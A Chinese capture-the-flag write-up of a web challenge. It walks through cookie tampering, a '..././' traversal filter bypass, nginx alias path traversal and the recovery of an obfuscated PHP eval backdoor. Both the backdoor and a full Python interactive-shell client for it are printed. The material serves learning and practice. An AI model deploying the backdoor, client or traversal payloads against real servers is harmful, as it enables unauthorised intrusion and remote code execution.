进入页面后首先会提示请登录
接着出现登陆的网页
随便输入一些密码,会提示网站建设中,有点眼熟,忘了哪道题目了,好像也是这样。
抓包看看有什么东西
ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cache-Control: no-cacheConnection: keep-aliveCookie: isLogin=0Host: 220.249.52.134:54513Pragma: no-cacheReferer: http://220.249.52.134:54513/login.phpUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
发现Cookie中有一项isLogin=0,明显很可疑。
改成1之后访问主页,成功显示出主页内容,不过网页代码有问题,显示错误,但是影响不大。
和isc系列的题目一样,大部分链接都无法打开,只有一个管理中心可以正常点击,并且点击之后发现url变成了
admin/admin.php?file=index&ext=php
看起来很像是任意文件读取漏洞,试一下
admin/admin.php?file=../../../../../../../etc/passwd&ext=
但是什么反应都没,尝试走其他路。
dirsearch扫一下,发现有一个Robots.txt
User-agent: *Disallow:hint.phpHack.php
访问Hack.php,什么内容都没有,再看看hint.php:
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
配置文件有问题,得想个办法读取到配置文件,但是找遍整个网站,除了admin/admin.php?file=index&ext=php看起来可以用,其他地方都没什么利用点。
猜测应该是有过滤。
构造payload:
admin/admin.php?file=..././..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=
成功绕过,读取到nginx配置文件
server {listen 8080; ## listen for ipv4; this line is default and impliedlisten [::]:8080; ## listen for ipv6root /var/www/html;index index.php index.html index.htm;port_in_redirect off;server_name _;# Make site accessible from http://localhost/#server_name localhost;# If block for setting the time for the logfileif ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {set $year $1;set $month $2;set $day $3;}# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.htmlsendfile off;set $http_x_forwarded_for_filt $http_x_forwarded_for;if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {set $http_x_forwarded_for_filt $1???;}# Add stdout loggingaccess_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;error_log /var/log/nginx/error.log info;location / {# First attempt to serve request as file, then# as directory, then fall back to index.htmltry_files $uri $uri/ /index.php?q=$uri&$args;server_tokens off;}#error_page 404 /404.html;# redirect server error pages to the static page /50x.html#error_page 500 502 503 504 /50x.html;location = /50x.html {root /usr/share/nginx/html;}location ~ \.php$ {try_files $uri $uri/ /index.php?q=$uri&$args;fastcgi_split_path_info ^(.+\.php)(/.+)$;fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;fastcgi_param SCRIPT_NAME $fastcgi_script_name;fastcgi_index index.php;include fastcgi_params;fastcgi_param REMOTE_ADDR $http_x_forwarded_for;}location ~ /\. {log_not_found off;deny all;}location /web-img {alias /images/;autoindex on;}location ~* \.(ini|docx|pcapng|doc)$ {deny all;}include /var/www/nginx[.]conf;}
注意到location /web-img存在目录穿越漏洞:
http://220.249.52.134:54513/web-img../

进入/var/www目录下,看到有个hack.php.bak文件,下载下来
<?php$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);$g=create_function('',$f);$g();?>
猜测应该是加密的后门,将字符串替换,美化之后,得到正常的代码:
<?php$kh = "42f7";$kf = "e9ac";function x($t, $k) {$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {$o. = $t {$i} ^ $k {$j};}}return $o;}$r = $_SERVER;$rr = @$r["HTTP_REFERER"];$ra = @$r["HTTP_ACCEPT_LANGUAGE"];if ($rr && $ra) {$u = parse_url($rr);parse_str($u["query"], $q);$q = array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);if ($q && $m) {@session_start();$s = &$_SESSION;$ss = "substr";$sl = "strtolower";$i = $m[1][0].$m[1][1];$h = $sl($ss(md5($i.$kh), 0, 3));$f = $sl($ss(md5($i.$kf), 0, 3));$p = "";for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];if (strpos($p, $h) === 0) {$s[$i] = "";$p = $ss($p, 3);}if (array_key_exists($i, $s)) {$s[$i]. = $p;$e = strpos($s[$i], $f);if ($e) {$k = $kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));$o = ob_get_contents();ob_end_clean();$d = base64_encode(x(gzcompress($o), $k));print("<$k>$d</$k>");@session_destroy();}}}}?>
不过让我解析是看不懂,直接用大佬们写的脚本链接完事
#!/usr/bin/env python# -*- coding: utf-8 -*-#!/usr/bin/env python2# encoding: utf-8from random import randint,choicefrom hashlib import md5import urllibimport stringimport zlibimport base64import requestsimport redef choicePart(seq,amount):length = len(seq)if length == 0 or length < amount:print 'Error Input'return Noneresult = []indexes = []count = 0while count < amount:i = randint(0,length-1)if not i in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = ''for i in xrange(amount):result += chr(randint(0,255))return resultdef randAlpha(amount):result = ''for i in xrange(amount):result += choice(string.ascii_letters)return resultdef loopXor(text,key):result = ''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt<lenTxt and iKey<lenKey:result += chr(ord(key[iKey]) ^ ord(text[iTxt]))iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print msg# configdebugging = Falsekeyh = "42f7" # $khkeyf = "e9ac" # $kfxorKey = keyh + keyfurl = 'http://220.249.52.134:54513/hack.php'defaultLang = 'zh-CN'languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()# generate random Accept-Language only once each sessionlangTmp = choicePart(languages,3)indexes = sorted(choicePart(range(1,10),3), reverse=True)acceptLang = [defaultLang]for i in xrange(3):acceptLang.append(langTmp[i] % (indexes[i],))acceptLangStr = ','.join(acceptLang)debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0] # $imd5head = (md5(init2Char + keyh).hexdigest())[0:3]md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))debugPrint('$i is %s' % (init2Char))debugPrint('md5 head: %s' % (md5head,))debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shellcmd = raw_input('phpshell > ')while cmd != '':# build junk data in refererquery = []for i in xrange(max(indexes)+1+randint(0,2)):key = randAlpha(randint(3,6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.urlencode(query))# encode payloadpayload = zlib.compress(cmd)payload = loopXor(payload,xorKey)payload = base64.urlsafe_b64encode(payload)payload = md5head + payload# cut payload, replace into referercutIndex = randint(2,len(payload)-3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0],payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))output = pattern.findall(html)if len(output) == 0:print 'Error, no backdoor response'cmd = raw_input('phpshell > ')continueoutput = output[0]debugPrint(output)output = output.decode('base64')output = loopXor(output,xorKey)output = zlib.decompress(output)print outputcmd = raw_input('phpshell > ')
把两个key修改成php代码中的key即可,连接之后执行php代码,读取flag。
